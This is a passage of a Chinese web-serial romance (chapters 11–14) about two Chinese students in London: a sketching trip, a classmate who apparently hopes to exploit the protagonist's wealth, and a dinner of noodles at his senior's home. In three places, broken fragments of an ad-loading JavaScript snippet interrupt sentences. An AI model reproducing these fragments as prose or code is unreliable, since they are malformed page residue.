“哦,我……我知道了。” “你以前没发现吗?” “没,第一次这样,可能……水土不服吧。” 祝渝面不改色地撒了谎。 柏沉表情似懂非懂,“这样啊……” “嗯嗯!”祝渝猛猛点头应。 两人并肩走在一起,因为都是养眼的人,所以路上的回头率很高。 “对了,师哥,我们要不要找个时间约见Mayra教授呢?”祝渝突然问。 柏沉问:“为什么?” “因为教授还没告诉我应该怎么帮助你呢。” “好,回头我给教授发邮件吧。” 今天敦伦的风有些大,漫天都是被卷起的落叶,过往的人也是神色恹恹的。祝渝打了一个哈欠,他就没有一天是不饿不困的。 “师哥,我想问问,你为什么么会丧失创作灵感呢?就是……是有什么事情影响了你吗?”祝渝还是很好奇。 因为在祝渝看来,柏沉本身就是一个很厉害,很完美的人,但是他却有着这样令他烦恼的事情。 柏沉没有戴帽子,风把他的头发吹得有些乱,那张清俊的脸上神色如常。 祝渝突然注意到,柏沉的右耳耳后有一颗痣。 他盯着看了几秒才别回头。 柏沉似在思考,缓了一会儿才说:“没有。” “我不觉得有什么影响到了我。”柏沉补充。 祝渝抿了抿唇,皱着眉想了想,开口:“那就怪了。” “算了,还是听教授他们怎么说吧。”祝渝这辈子最不想动的就是脑子了。 可他嘴上那么说,心里还是在琢磨怎么帮助柏沉。 “祝渝,你不用太为我的事费……”他的话还没说完,就被祝渝立马出声打断了,“我说过了,我不喜欢你说这样的话!” 祝渝很生气地拉住了柏沉的手腕,让柏沉停下来和他对视着。 “你帮助了我那么多次,现在好不容易有我可以帮助到你的地方,你却总说这样的话。”祝渝气到两只手都不自觉插在了腰间。 “我要气死了!” 从这个角度看祝渝,柏沉觉得他有点像一只生气的萨摩耶,还是粉色的萨摩耶。 他又笑了起来,唇角的笑纹清浅,他忙安抚说:“不生气。” “不要生气。”柏沉重复着。 “想要我不生气,那你就和我保证。” “保证什么?” “保证以后不会再说那样的话!” “我保证以后不会再说那样的话了。”柏沉学着祝渝刚刚发誓的姿势,举起手竖起了三根手指。 “就应该这样嘛。”祝渝转身往前走,“对了,明天我兼职的咖啡店搞活动,你下午可以来找我,我请你吃蛋糕。” 柏沉迈开长腿跟了上去,好像昨天祝渝也提到了自己在咖啡馆兼职的事。 但昨天祝渝走得急,柏沉没有细问。 “你的生活费都是自己兼职赚的吗?” 祝渝摇头:“不是。” “之前我不是和你说过吗?我犯了点错,就被送过来了。”祝渝解释,“而且生活费也被管控了。” “我开销又有一丢丢大。”祝渝用拇指在小指上掐了一小段距离出来。 “最重要的是!”祝渝声音拔高了一些,强调:“白人饭真的很难吃!所以我经常去中餐厅吃饭,但中餐又贵,而且我还有刘波要养呢……” 11.写生 柏沉自己会做饭,他到英国后从来没出去吃过,并不知道英国这边的饭菜不尽人意。 这让他想起了自己的账号底下,有一个英国IP的粉丝,几乎在他每个作品底下都会留言英国饭菜不好吃的类似评论。 好几次的热评都是那个粉丝,跳脱又活跃,感觉和祝渝的性格差不多。 两人并肩一道走着,路上一直都是祝渝在说话。 祝渝的话匣子打开就停不下来了,柏沉只是听对方不停地讲都觉得有趣,连唇角翘了一路都没察觉,一直到了学校里两人才分别开。 祝渝下午的课要去郊区的公园写生,班级里那些西方人喜欢这门课,因为他们的写生模式不是那种外出集训的模式,只是单纯在外采景取色而已,对他们来说,就相当于出去郊游了。 但祝渝不太喜欢。 因为从郊区回来要坐一个小时公交。 每次回家的途中他都饿得想吐。 郊区那边又没有什么便利店或者饭店,连白人饭都讨不到。 造孽啊,怎么英国人就喜欢没苦硬吃啊。 祝渝想。 “Yu,这次小组组队,还是按上节课的分组来,记得去找你的小组成员。”女班长将分组名单给了祝渝一份。 很奇怪的,祝渝是这个班里唯一的中国人,但专业其他班级就有很多中国人,所以除了各科老师,就连班级里的同学都对祝渝多有照顾。 “好,谢谢你。”祝渝对她笑。 祝渝长得太好看的,典型的贵公子长相,金发碧眼的班长被祝渝开朗的笑惹得神情都不自在了,白皮肤立马染上了一抹红晕。 “不用谢。”女班长拿着分组名单走开了。 祝渝拿着名单跟着大部队上了校车。 车内不止有他们班的学生,每一次写生的时候,会是好几个班甚至还有其他系的一起,所以祝渝并不认识车里的所有人。 祝渝找了一个靠窗的位置坐下,刚坐稳还没把安全带系上,他就被身边冒冒失失想坐下的人狠狠撞了一下。 祝渝本来就因为要跑那么远去写生而不太高兴,被人这么一撞就更不可能有好脸色了。 他皱着眉去看身边的人,然后就看见对方正在对自己不停地鞠躬。 “对不起对不起,你没事吧?”对方说的是汉语,“我不是故意的。” 祝渝脸色缓和了一些,出门在外,他对自己的同胞总是要宽容一些的。 “你是中国人?”祝渝用汉语回话。 抱着画板不停道歉鞠躬的人在听见祝渝的声音后就顿住了,他好奇抬起头看向祝渝。 祝渝一看他的五官长相就确认了。 果然是中国人。 “我是中国人,你是混血吗……”男生语气有些困惑。 祝渝看着他问:“我像混血吗?” “抱歉,你长得太好看了,看起来很像混血。”男生立马道歉。 听完这话的祝渝算是彻底原谅对方了。 “我能坐这里吗?”他是说祝渝的身边, 他轻咳了两声,往窗边挪了挪,“咳,可以。” 男生脸上露出笑意,说了一声谢谢后坐在了祝渝身边。 “我叫陈定,你叫什么名字?”男生发色漆黑,微分碎盖头,学生气息很浓郁,单眼皮,长相清隽,看起来干干净净的。 从主动介绍身份这点来看,对方还是一个挺外向的人。 “我叫祝渝。” 祝渝说完又问:“我之前没见过你,你也是我们系的?” “不是,我是隔壁会计的。”陈定冲祝渝咧着嘴笑,露出了一排整齐的瓷牙。 “你会计系怎么和我们一起去写生了?”祝渝好奇问。 陈定解释:“我对你们这门专业很感兴趣,刚好我今天下午没课,我就跟过来一起旁听蹭课了。” 祝渝点头,但他又很困惑:“那你为什么不学美术呢?” 因为祝渝学什么,家里人都是无条件支持的,他经常想一出是一出,对虞怜欢他们来说,只要祝渝不惹事,随便祝渝干什么都行。 比如高中祝渝不想读了,说要去学画画,家里也没有一个反对的人。 所以他觉得陈定既然喜欢,就应该选择这门专业。 “因为搞艺术太费钱了。”陈定立马摊手解释。 祝渝皱了皱眉,他有些不太舒服陈定的这句话,好像故意在等着自己问了他,然后他就可以顺理成章回答这句话似的。 但祝渝出门在外,又总是会下意识信任同胞的,所以他还是没有多想。 “好吧。”祝渝到英国来,家里几乎把什么都搞定了,他好像确实没有了解过这些费用。 车窗开了一道缝隙,车子驶在平稳的路上,凉风吹进来,撩拨着祝渝额前的浅发。 密长的睫毛也跟着打颤。 他在祝家那样的大家庭长大,金钱把他养出了一身的贵气,即便现在生活没之前那么奢靡了,但气质犹在。 他和陈定有一句没一句地闲聊着。 “那你知道我们学校附近,哪里有正宗便宜的中餐吗?”聊到一半,陈定提到自己是去年到这边来留学的,祝渝立马就问起了自己最关心的问题。 陈定沉思了一会,“附近的那几家都挺不便宜的,你可以自己做呀。” 祝渝叹气:“我不会做饭啊。” 陈定看着他说:“好吧,其实我也不知道哪里有好吃的中餐,这里中餐普遍贵,我的零花钱不够我在外面吃饭。” “所以我都是自己做饭。”他又补充。 祝渝:“能自己做饭就已经很厉害了,我是怎么都学不会做饭,不然我一定每天都给自己做饭吃!” “那你还是不缺钱,缺钱的话肯定能逼自己学会了。”陈定说。 祝渝又暗暗拧起了漂亮的眉,他不太喜欢陈定的这句话,陈定怎么知道他有没有努力过呢? 只是他还没来得及表达不开心,陈定又接着说:“因为我是兼职留学,学费住宿费,还有生活费都要自己赚,所以才学会自己做饭的。” “学费多少来着?”祝渝对学费住宿费没什么实体概念。 陈定有些惊讶地看着祝渝说:“22万一年度,你不知道吗?” 祝渝听完耳朵都竖起来了,他眼睛里也有震惊的神色,心中默默一算,这22万够他吃多少黄焖鸡了啊?? 他摇头:“因为是家人给我办理的入学,我就不了解,学费居然这么贵吗?!” 放在之前,祝渝可能确实没什么金钱概念,但今时不同往日了,祝渝已经能理解要赚22w得多困难了。 “那你,家人还挺好的,家境也不错吧?”陈定语气有些试探的感觉。 祝渝没回他这句话,他抬手拍了拍陈定的肩,夸赞:“这么说你真的很厉害嘛!居然什么都是自己赚的钱!” 因为只是生活费不够用,祝渝都快崩溃了,眼前这人还要兼职赚学费和住宿费那些费用,该说不说,祝渝还是很佩服他的。 “因为我妈妈生病,爸爸抛弃了我们,爷爷年纪很大了……”他语气可怜又卑微,谁听了都会忍不住可怜这个人的。 生病的妈,没用的爸,年迈的爷,贫困的家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,破碎的他…… 他或许是想让祝渝可怜一下他的。 但祝渝却震惊:“那你还来这里留学?在国内读个大学会不会更省钱呢?” “不辛苦吗?”祝渝接着问。 祝渝并没有其他意思,他只是单纯的不理解,语气也没有什么恶意,但就是这份不理解和没有恶意,让对面的人觉得尴尬。 陈定那双被单眼皮裹住的眼珠闪过了一丝异样的光,他咳了两声,闪躲着祝渝困惑的目光。 可祝渝却盯着他,似乎在等他的回答。 好在车子突然一个急刹打破了他的尴尬,两人都被迫往前荡了一下,祝渝手快地抓住了身边的扶手,才没让自己脑袋磕到前座的靠背。 一车子都是尖叫的声音,祝渝真的很想骂人。 他想说会不会开车啊,不会开车就下去扛着车跑好了。 但车里已经有激进的英国人热情开麦了。 “Yu!准备下车了,我们小组先集合。”坐最前排的一个英国男生回头看着祝渝喊。 那是祝渝上次的小组组长Ben(班),因为这次还是延用上次的分组名单,所以他的组长还是Ben。 “好的,这就下车!”祝渝应完后就将书包背上,陈定也跟着起身给祝渝让开了路。 “再见陈定。”祝渝单肩挎着背包,一只手提着画板,跟着前面的人一起下了车。 陈定凝眸看着祝渝的书包,书包上面有一个显眼的logo,这款书包市场价两万多,就这样被祝渝拿来背作画用的工具了。 陈定急忙抓起书包跟上了祝渝。 “祝渝,等等我!”陈定小跑到了祝渝的身边。 祝渝偏头看他,问:“怎么了?” “咱俩能加一个微信吗?”陈定拿出了手机,解释:“我很喜欢这门专业,你又是我认识的第一个美术专业的中国人,我想和你认识一下。” “以后遇到不懂的,我也想……请教你。”陈定脸颊有些红,很不好意思地挠了挠脑袋。 见祝渝在犹豫,陈定立马补充:“因为你看起来很厉害,我觉得请教你和请教那些教授没什么区别,而且我们都是中国人,交谈起来也会方便很多。” 这个解释说服了祝渝,他颔首,“好,那你扫我吧。” 祝渝翻出了微信好友码。 加上微信后,祝渝就当着陈定的面翻了翻对面的朋友圈,看见他发了很多茶园的照片,顶置还有茶叶价格什么的,祝渝不懂茶,草草看了几眼,然后好奇问: “你家是卖茶叶的吗?” “是呀,我爷爷在家就靠卖茶叶补贴家用。”陈定说。 祝渝把手机装进口袋,又问:“那你会做茶叶吗?” “这……我不会。”陈定不知道祝渝为什么会这么问。 祝渝立马得意地将手插在腰间,骄傲道:“我师哥就会!” “他做的茶叶特别香!”祝渝的表情怎么说呢? 骄傲得就像在说自己似的。 陈定脸上滑下了一滴不知名的汗珠,他打着哈哈说:“啊,哈哈,那你师哥还挺厉害的哈。” “是呀,而且他很会做饭,做的饭也特别好吃!”祝渝洋洋得意道。 因为和陈定说话,祝渝又落后了队伍一大截,Ben在队伍的前面喊他:“Yu!快跟上来!” “来啦!”这下是真的要告别了,祝渝和陈定挥手说了再见,然后迈着长腿追上了小组队伍。 陈定凝着他的背影,拿出手机发了一条语音消息出去,“我绝对钓到大的了,你知道他身上那个书包多少钱吗?” 12.晚饭 这次写生的地方和以往不同,教授领着他们班的同学往公园深处走了去。 白鸽从钟塔那边飞过来,树叶被风吹得簌簌作响,灌木丛里面还有虫鸣的声音。 路上的人太闹腾了,祝渝连打了几个哈欠,眼角挤出生理泪水。 他有一种自己都要走着睡着了的错觉。 好在队伍还是在祝渝真的睡着之前停了下来。 带队的老师只让他们原地解散,各自采景。 一瞬间,祝渝身边全是欢呼吵闹的声音。 祝渝跟着小组到了一个僻静的地方,从他们的视野望下去,脚下有一处特别宏伟的建筑,壮阔又震撼。 祝渝好奇多看了几眼,干脆找了一个视野极佳的位置席地而坐,他拿手机拍了几张照片,镜头里却突然窜出了一个脑袋,对方冲镜头里比了一个剪刀手,露出了一排整齐的瓷牙。 是他的小组组长Ben。 “Yu,就知道你对这个建筑感兴趣。”Ben拿着画板坐到了祝渝的身边。 祝渝好奇:“这个建筑有什么故事吗?” “据说这是一个很有名的中国建筑家设计的,是一个很不错的景点。”Ben把手机递给了祝渝,手机里是宫殿的近景图。 这个大型建筑是一座类似威斯敏斯特教堂的大宫殿。 中西两方的风格结合。 玫瑰荆棘绕着粗大华丽的圆柱攀爬上了顶,圆柱上雕刻着巨龙壁画,这些红色的玫瑰花是点缀,也是特色。 外墙和殿壁都是红砖砌成的,砌得并不整齐,凹凸不平,坑坑洼洼,殿身是西方的建筑风,但又有故宫似的矮墙建筑屹立在周围,殿前有吊桥,吊桥却又是中国古代式的木板链式大桥,整体布局讲究着东方爱好的对称美学,有古典气息,又透着中式诡学,占着广茂的地理位置,殿前有一座巨大的池塘,池塘中间有一座石雕像。 照片底下写着景点的名字。 “斯格英宫。”祝渝轻声念了出来。 “是的,真的很美,可惜那位建筑师只在我们这里留下了这一个建筑就离开了。”Ben的语气逐渐低落,他又看向了祝渝说:“我觉得你会喜欢。” “因为我听朋友说,每次你们中国的节日的时候,就会有很多留学生到那里去玩。” “你刚到这里,还不了解吧?”Ben问。 祝渝点头,“是,郊区离学校有些远,我过来只参观了学校周围的景点。” Ben站起身,说:“那你慢慢欣赏吧,祝愿你今天能拿高分。” 祝渝对他微笑:“你也是。” Ben拿着画板离开了,祝渝手肘撑在画板上,单手托着下巴,目不转睛地打量着山脚下的建筑物。 他是学美术的,对他来说,这座宫殿让他震撼的是色彩搭配,他第一眼就被这座宏伟的宫殿吸引了,祝渝觉得每个看到这个建筑的人都会很震惊的。 祝渝突然想到了柏沉,他觉得柏沉应该也会喜欢。 于是他拿起手机远远拍下了一张全景图,却没有急着给柏沉发过去。 他把手机放回口袋里,扶好画板,在包里翻出作画用的工具…… 祝渝在国内的时候,家里请了专业的老师指导他绘画,加上他自己对绘画也感兴趣,所以两个小时画完一副速涂对他来说没什么压力。 他决定把斯格英宫画下来送给柏沉。 —— 现在是八月快到中旬,敦伦天色暗得很快,出于安全考虑,老师不会让学生在郊外停留很长时间,祝渝刚收好画笔,各组组长就开始点名召集组员准备离开了。 祝渝将画装好,收好工具就跟上了队伍。 上车后祝渝拿手机在微信里翻到了柏沉。 柏沉的头像很简单,一张黑色图片。 祝渝点开他头像仔细研究了半天,以为能发现什么端倪,结果还真是一张普普通通的黑色图片,祝渝看着手机里自己的倒影,将被风吹乱的头发拨了一下,然后才把刚刚拍下来的照片发给了柏沉。 【祝渝:师哥,你看这个建筑怎么样?】 等柏沉回消息的功夫,祝渝顺手点进了柏沉的朋友圈。 他发的朋友圈不多,七八年就发了几条,而且都只是风景照,没有任何配字。 好无趣的人。 祝渝想。 不对,也不无趣,毕竟祝渝觉得和柏沉相处还是很舒服的。 手机微微震了一下,消息框弹出来,柏沉回消息了—— 【柏沉:你在高处吗?】 祝渝的这个位置的确是在高处,不远边就是悬崖,没有任何防护措施,不过有老师专门在崖边守着,他们的安全是能够保证的。 祝渝拍的照片是有迷惑性的,从照片来看,祝渝好像就在崖边上。 祝渝打字:【对啊,我们今天出来写生了\( ^ω ^)/】 柏沉消息几乎是秒回的:【注意安全】 【祝渝:知道啦!】 【祝渝:我现在都已经在回家的路上了,放心吧!】 【祝渝:你快看看我给你发的图片,怎么样?!】 【柏沉:很震撼,很有设计感】 这是柏沉的评价,其实他想说的绝对不止这些话,因为这张照片被他反复放大缩小地看了很多遍。 祝渝给他解释:【是吧,我也这样觉得】 【祝渝:我同学和我说,这是一个很有名的中国建筑师设计的】 【祝渝:师哥有一天也会设计出这样震撼的建筑吧?】 柏沉下意识就想否定,但对方是祝渝,在祝渝面前说了任何自贬和不自信的话,他就会再次变成生气的萨摩耶了。 所以柏沉将打好的字一一删除,重新回道:【我会的】 祝渝看见这三个字就特别开心,他又给柏沉发语音说:“师哥,我一定要和你吐槽,你猜我写生的地方离学校有多远?” 柏沉这边刚下课,现在正在食堂的餐口前排队打餐。 早上和祝渝聊过天以后,他就决定找个时间来吃一次食堂,赶巧的是今天下午第二节课教授有事提前下了课,柏沉就有时间来食堂了。 食堂的菜搭配得很奇怪,柏沉看着眼前的巧克力拌面,罕见地被噎了一下。 他拿着餐盘换了一个窗口,只手打字回祝渝:【十公里?】 十公里?是多远? 祝渝心里默默算了一下,然后打字:【坐公交要一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小时呢!我已经开始饿了●﹏●】 那确实挺远的,柏沉又换了一个窗口,让阿姨帮忙打了一份蔬菜沙拉在餐盘里。 【柏沉:你之前总在学校食堂吃饭吗?】 【祝渝:差不多吧,如你所见,我怎么都学不会做饭,又不能经常吃速食,所以也会去食堂吃饭的】 【祝渝:可是真的好难吃】 不知道为什么,仅仅是从祝渝发的文字里,柏沉仿佛都能想象到祝渝现在的表情。 他端着餐盘坐到了餐桌前,将自己的晚餐拍照发给了祝渝。 一个蒸土豆,一份水煮西兰花,还有蔬菜沙拉和一份不知名的黄色浆糊。 祝渝点开图片一看,手机的光打在脸上,祝渝两眼一黑,他认出了这是学校食堂的饭菜。 【祝渝:你在食堂吃饭?】 【柏沉:嗯】 【祝渝:你不是会做饭吗?为什么要吃这么难吃的饭?】 【柏沉:突然想试试这边的饮食了】 【祝渝:不好吃吧?】 柏沉尝了一口蔬菜沙拉,一贯平静温柔的脸上罕见地僵了一下,他顿了顿才回:【不是很难吃】 【祝渝:但也不好吃】 柏沉发了一个笑脸的表情包出去。 然后打字问:【那你今晚回来吃什么?】 对啊,吃什么。祝渝没想到自己到英国留学后,思考最多的是这个问题。 食堂估计老样子,前两天自己做饭刚捅出篓子,祝渝也不想自己做饭。 纠结了片刻,他才回:【楼下超市买点速食吧】 【祝渝:师哥,我好可怜呀】 【祝渝:我要饿晕了】 【祝渝:[晕倒.jpg]】 柏沉看着这些文字,笑意不觉加深了一些,他便回:【那你现在想吃什么?】 祝渝看见这句话后立马挺直了腰,【是什么意思呀?】 【祝渝:是师哥觉得我可怜,所以打算帮帮可怜的我的意思吗?】 【祝渝:~\(≧w≦)/~】 【祝渝:当然,如果师哥愿意施舍我一点点吃的,我什么都能为你做的!!】 【祝渝:[小狗眨眼.jpg]】 柏沉干脆放下了筷子,【如你所说,食堂的饭确实不太好吃,我打算回家做饭】 祝渝两眼发光,急忙打字:【有我的份吧?】 【祝渝:一定有我的份,对的吧?!】 【祝渝:[星星眼.jpg]】 柏沉凝着对方发来的消息,笑着缓缓打字:【本来就有你的份】 【祝渝:师哥!!你最好啦!!】 一句话里面四个感叹号,足以证明祝渝此刻情绪的激动兴奋。 柏沉将餐盘收了起来,一边往食堂外面走一边回消息:【不过我家里目前没多少食材了,我煮西红柿鸡蛋面你吃吗?】 祝渝回消息回得特别快:【吃的吃的!我不挑食,很好养活的!】 柏沉正往楼梯下走,不便打字,就将手机听筒靠近了嘴边,给祝渝发语音:“好,那你到学校了给我发信息。” 公交车上,听完语音的祝渝捂住胸口闭上了眼,幸福晕了啊…… 13.矛盾 到学校还不算太晚,祝渝给柏沉发完消息就往公寓赶了。 他问柏沉有没有需要他带回家的东西,他可以帮忙买,柏沉说没有,只让他回家的时候注意安全。 但祝渝还是去超市逛了一圈,他其实是想给柏沉买点什么东西的,但银行卡里的余额比他的脸还干净,最后他只给刘波买了点猫粮就回去了。 —— “我在这边都很好。”锅里的水还没沸腾,整个房间静悄悄的。 因为房间太空荡,柏沉的声音在房间里甚至有回音。 手机听筒里传出了一位妇人温柔的嗓音:“真的吗?我和你叔叔总担心你过不好,你有什么心事也不爱和我们说。” “您不要太担心了,我可以照顾好自己的。”柏沉的声音浅浅淡淡,温柔并不急切,也没有什么波澜,磁性又沉稳。 “我们当然知道你可以照顾自己。”妇人的声音听起来太无奈了,“但是遇到什么困难,一定要和叔叔阿姨说,知道吗?小沉。” “我知道了。”柏沉垂下眼睫,瞳色渐深,他凝着锅里即将沸腾的水回话。 “小沉啊,在国外有交到朋友吗?”妇人又关心问。 柏沉回头看了一眼,目光直直看向了客厅的门边,或许是在透过那扇门看谁,而后他才收回目光说:“认识了一位,他也是中国人。” “也是中国人啊?性格怎么样?和你合得来吗?” 合得来吗?应该是合得来的,他觉得和祝渝待在一起没有什么压力,而且他很喜欢看祝渝吃自己做的饭。 这种感觉很怪,所以他一定不能说出来。 “性格很好,我们很合得来。”柏沉说。 妇人:“合得来就好,就担心你一个人在国外,觉得孤独……” 柏沉听到了她轻微啜泣的声音,他忙道:“阿姨,您不要太担心了,我在国外一切都好,而且再过几个月我就回来了。” “这不是想你嘛,两年前你出国留学一趟,结果就确诊了抑郁症,真是吓坏我们了……”妇人只是回忆了一下就心有余悸,她赶紧拍了拍自己的胸脯给自己顺气。 柏沉沉着声音:“对不起,让您担心了。” 他的语气间充满了抱歉的语气。 “什么抱歉不抱歉的,我们是一家人,就不要再说这些了。”妇人语气强硬了许多。 柏沉下意识就道歉:“抱歉,我……” “不是,我……”说完话了才意识到自己又说了“抱歉”的话,柏沉急忙改口。 空气沉默了几秒后,两个人都一起笑了起来。 柏沉的笑声很低沉,清清润润的,对面的笑声和蔼又慈爱,这一幕看起来无比温馨。 “阿姨,您什么时候到家?” 国内现在是凌晨三点,对面这个点还没睡是因为她正在旅游结束回来的路上。 妇人:“还有两个小时呢。” “不过我不和你说了,我打算休息一会儿。” 妇人又接着说:“你也要早点休息,知道吗?” “知道了,您注意安全。”柏沉应完锅里的水也沸腾了,门外刚好响起敲门的声音,想来是祝渝到家了。 等对面挂断了电话柏沉才收起手机,他顺手关掉火去客厅开了门。 “师哥!”刘波的脑袋被送上了前,抱着刘波的人开心和他打招呼,“晚上好呀!” “喵~”刘波也很给面子地叫了一声,大概也是在和柏沉问晚好。 祝渝应该是回家换了衣服的,身上衣服不是早上和柏沉分开时的那一套。 是一件连体的橙色背带裤,里面穿着白色的衬衫,腰间挎着一个白色挎包,胸口别着一支向日葵别针,头发半扎,刘波也穿着橙色的衣服,还戴着一个粉色的围兜。 两双明亮的圆眼都盯着柏沉。 这一幕有些……萌。柏沉轻吸了一口气。 “来啦?”柏沉侧开身给祝渝让开道,温笑着:“进来吧。” 嗓音很温和。 “谢谢师哥!”祝渝轻快地钻进了屋里。 柏沉将客厅的灯全部打开,“你先在沙发上坐会儿吧,我现在去煮面。” “有需要我帮忙的吗?我可以帮忙洗青菜。”祝渝将刘波放到地面,举手自荐。 柏沉摇头,“不用,我都已经准备好了,桌上有泡好的茶,你去喝会儿茶等我就行了。” “好吧。”祝渝乖乖取下身上的挎包,坐到了沙发上。 柏沉回到厨房重新打开火,本来就沸腾的水很快就再次沸腾了起来。 祝渝打量着客厅,和他第一次来柏沉家里看到的布局一模一样,简约风,整个房间的色调都是灰暗的,只有沙发上坐着的祝渝是明亮的颜色。 “叮咚。”手机震动了一下,祝渝拿起一看,是白天他加的那个叫陈定的人发来的消息。 【陈定:在吗?你现在有时间吗?我有一个问题想要请教你】 祝渝正好也闲着,【你说吧】 陈定的问题是美术专业的一些考点,对祝渝来说没什么困难,三两句就给对方解释清楚了。 【陈定:原来是这样!我懂了!谢谢你】 祝渝给自己倒了一杯茶,茶水的清香扑面而来,他慢慢打字:【不用谢,反正也不是什么很麻烦的事】 【陈定:怎么就不用谢呢?总不能让你白帮忙吧?】 【陈定:这样吧,你喜欢喝茶吗?之前我从家里带了一些茶叶来还没喝完,我送你一些吧】 祝渝正好端着茶杯在喝茶,他其实不会品茶。 喝茶也是一咕噜就全部咽下去了,茶还没在嘴里过味儿就进胃里了,所以祝渝没有接受:【不用啦,我不太爱喝,你自己留着吧】 祝渝回完消息将手机静音放在了桌上,看向了他放在桌边的茶杯。 杯身是纯铅灰色的,里面的茶水还在冒着热气,水面浮着一片茶叶。 他突然注意到了茶杯的样式,然后又四处看了看,确定没有找到自己想找的东西后,祝渝就起身往厨房走了去。 厨房刚炒完西红柿和鸡蛋,空气中浮着热油的味道,西红柿的酸味还有炒鸡蛋的香味。 祝渝差点被香得忘了自己进厨房来是为了什么。 “师哥,咳……”祝渝挨在了柏沉的身边。 柏沉在家的话,基本都是穿着居家服,上衣和裤子都很宽松,但围裙又将他的腰型勒了出来,完美的倒三角身材,腰下一双长腿简直逆天,他的高大让这个本来就不大的厨房更加拥挤狭小了。 祝渝在他身边,差了一个头的身高,身型更是相差甚大。 柏沉偏头见祝渝是一副欲言又止的神情,便开口问:“怎么了?有话要说吗?” 祝渝犹豫了一下后点头,“嗯嗯!” “之前我送你的那个茶杯,你不喜欢吗?”祝渝望着柏沉的侧脸小心翼翼问。 “很喜欢。”柏沉虽然不明白祝渝为什么突然这样问,但还是点头回应了。 其实祝渝并不比自己小多少,但柏沉总觉得对方的心性和小孩子一样天真。 祝渝语气轻轻:“可是我好像没有见你拿出来用。” 他的语气听起来有些郁闷,很不开心。 “你没有用过它吗?”祝渝追着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问,“你把它收起来了吗?” 在生气,还有些幽怨。柏沉凭着祝渝的语气和神情判断出。 “抱歉。”柏沉放下了手里的菜刀,解释:“因为家里已经买了茶杯,我就把你送我的收起来了。” 祝渝小声嘟囔:“你不用给我道歉呀。” “但是!”他抬高了音量,语气又不满,“就算你不用,你也应该把它摆出来呀,它那么好看,而且还是全世界独一无二的!” 说完话的祝渝才意识到自己说错了话,他眸珠晃着透明的水花,窗隙挤进来的凉风将他的碎发拨动着。 让他看起来那么无措。 怎么又对身边人发火了。 怎么又没控制住自己的脾气。 柏沉那么温柔,对自己那么好,自己怎么还对柏沉乱发脾气呢,祝渝捏着裤边,低着头道歉:“师哥对不起,我……” 但是柏沉却赶在他道歉之前说:“是我的问题。” “你送我的礼物,我应该把它拿出来的。” “把它收起来会让你觉得我没有重视你给我的礼物。”他理性地分析着祝渝突然不开心的原因,然后用极轻的嗓音问祝渝: “对吗?” 磁性温润的嗓音低醇又平缓,上扬的尾音却像是在哄小朋友。 事实上祝渝已经不是小朋友了。 可对方的声音越是温柔明事理,祝渝就越是觉得愧疚。 他摇头又点头,“师哥!我没有怪你的意思。” “我知道。”柏沉轻点头,眸珠柔和如水。 “杯子我放在那边置物架的抽屉里了,你去拿出来吧,你想摆在哪里都可以。”柏沉又给祝渝指了指他放杯子的地方。 祝渝循着他的手看过去。 “哪里都可以吗?” 他眼睛里装着惊喜,问。 “嗯,哪里都可以。”柏沉继续点头,“你说得对,它那么好看,还是世界上独一无二的,我应该把它摆出来。” 祝渝立马笑了起来,他又变得开心了,雀跃道:“那我现在去拿出来!” “好。”柏沉点头。 其实如果祝渝今晚不说,柏沉过两天也会拿出来找个地方放着。 因为每一次他路过那里的时候,总会想到抽屉里关着一个漂亮的杯子,像是把会发光的东西藏在了不见天日的暗盒子里。 他偶尔去抽屉里拿东西也会看见。 一来二去,柏沉就觉得还是拿出来摆着比较好。 只是他还没来得及拿出来,祝渝就先发现了。 祝渝哼着轻歌,将被柏沉收在了抽屉里的瓷杯拿了出来。 瓷杯被保存得很好,从痕迹上来看,柏沉的确一次都没使用过。 祝渝小心将置物架最中间的一个鹿角摆件挪到了旁边,然后把手里的杯子摆在了正中间。 太违和了。 而且…… 祝渝后退半步,仔细端详了一下。 而且这个东西也不值钱,摆在中间拉低了整个置物架的档次,于是祝渝重新将瓷杯拿了起来,准备把鹿角摆件推回最中间的位置。 但他手里的瓷杯突然被身侧伸出的手抽走了,同时身后一个热源跟着靠近,槐花的清香馥郁在身边,身后那个高大的身型罩住了祝渝身上所有的灯光。 他像是被柏沉拥在了怀里,四周都是柏沉身上的暗香,对方高大的体型让祝渝完全处在了阴影之下。 柏沉的声音也在耳侧响起:“就摆在这里吧。” “很合适。”磁性的声音钻进了耳朵,引起了祝渝心腔共鸣,心尖似琴弦被拨动,轻颤着。 14.小渝 就这样,这个色彩绚烂的瓷杯被摆在了柏沉认为最合适的位置。 祝渝一把捂住了胸口,瞳仁随着心跳加快而慢慢放大,妈妈呀,这玩意儿怎么跳得这么快? 小心脏,你可别坏掉了呀! 身后的柏沉退开了,那种压迫的感觉和槐花的清香也随之消失了。 “怎么了?吓到你了吗?”见祝渝捂着胸口,双颊泛粉,耳廓都快和头发一个颜色了,柏沉低磁的嗓音又打着璇地钻进了祝渝的耳朵里。 “没有啊,就一点点吧。”祝渝声音有些发虚,因为他自己都不知道自己这个反应是怎么回事。 刚说完话,他就闻到了餐桌那边飘来西红柿炒鸡蛋的味道,掺着葱花的香。 祝渝看过去。 那是被柏沉放在桌面的两碗西红柿鸡蛋面。 红色的番茄炒出了浓浓的汤汁,再将炒得半生半熟的明黄色鸡蛋倒进去,翻炒后倒入加了盐的温水,烧开后加入之前煮好泡在凉水里的面条,小火收汁,然后撒入调料,碎葱花,面碗冒着腾腾热气…… 一碗面色香味俱全。 祝渝乌漆的瞳仁里映着桌上的面,他向柏沉问了一句废话:“已经做好了吗?” “嗯,做好了,可以吃了。”柏沉点首,侧身给祝渝让开了道。 祝渝仰头看着柏沉,眼里满是震惊和佩服,语气崇拜:“师哥,你好快呀!” …… 好像有点歧义? 祝渝说完就反应过来了,忙摆手找补:“师哥,我不是那个意思。” 柏沉本来没多想,祝渝一句找补的话也让他想到别处去了。 “咳咳。”他抬起手蜷在唇边,轻咳了两声,神情很不自在,“我知道了。” 看吧,解释了又多想。祝渝心里默默蛐蛐着。 大概是受自己的话影响,祝渝眼神还不受控地往柏沉身上瞄,结果一抬头就和柏沉困惑的眸珠对视上了,于是他本来泛粉的双颊瞬间变得通红了。 